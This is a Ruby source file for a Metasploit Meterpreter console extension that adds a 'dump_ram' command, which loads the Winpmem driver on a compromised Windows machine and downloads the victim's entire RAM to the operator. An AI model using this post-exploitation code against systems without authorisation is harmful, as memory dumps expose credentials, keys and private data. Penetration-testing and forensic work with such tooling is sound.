# -*- coding: binary -*-
require 'rex/post/meterpreter'

module Rex
module Post
module Meterpreter
module Ui

  class Console::CommandDispatcher::Winpmem

    Klass = Console::CommandDispatcher::Winpmem

    include Console::CommandDispatcher

    #
    # Name for this dispatcher
    #
    def name
      'Winpmem'
    end

    #
    # List of supported commands.
    #
    def commands
      {
        'dump_ram'         => 'Dump victim RAM',
      }
    end

    WINPMEM_ERROR_SUCCESS = 0
    WINPMEM_ERROR_FAILED_LOAD_DRIVER = 1
    WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY = 2
    WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY = 3
    WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL = 4
    WINPMEM_ERROR_UNKNOWN = 255

    def cmd_dump_ram(*args)
      unless args[0]
        print_error("Usage: dump_ram [output_file]")
        return
      end
      path_raw = args[0]

      fd = ::File.new(path_raw, 'wb+')
      memory_size, response_code, channel = client.winpmem.dump_ram
      case response_code
      when WINPMEM_ERROR_FAILED_LOAD_DRIVER
        print_error("Failed to load the driver")
        return true
      when WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY
        print_error("Failed to get the memory geometry")
        return true
      when WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY
        print_error("Failed to allocate memory")
        return true
      when WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL
        print_error("Failed to open the meterpreter Channel")
        return true
      end
      print_good("Driver PMEM loaded successfully")
      #Arbitrary big buffer size, could be optimized
      buffer_size = 2**17
      bytes_read = 0
      next_message_byte = memory_size / 10
      begin
        data = channel.read(buffer_size)
        until channel.eof
          fd.write(data)
          bytes_read += data.length
          data = channel.read(buffer_size)
          if bytes_read >= next_message_byte
            print_good(((next_message_byte.to_f / memory_size) * 100).round.to_s + "% Downloaded")
            next_message_byte += memory_size / 10
          end
        end
        print_status("Download completed")
      ensure
        print_status("Unloading driver")
        fd.close
        #Unload the driver on channel close
        channel.close
      end
      return true
    end
  end
  end
  end
  end
  end
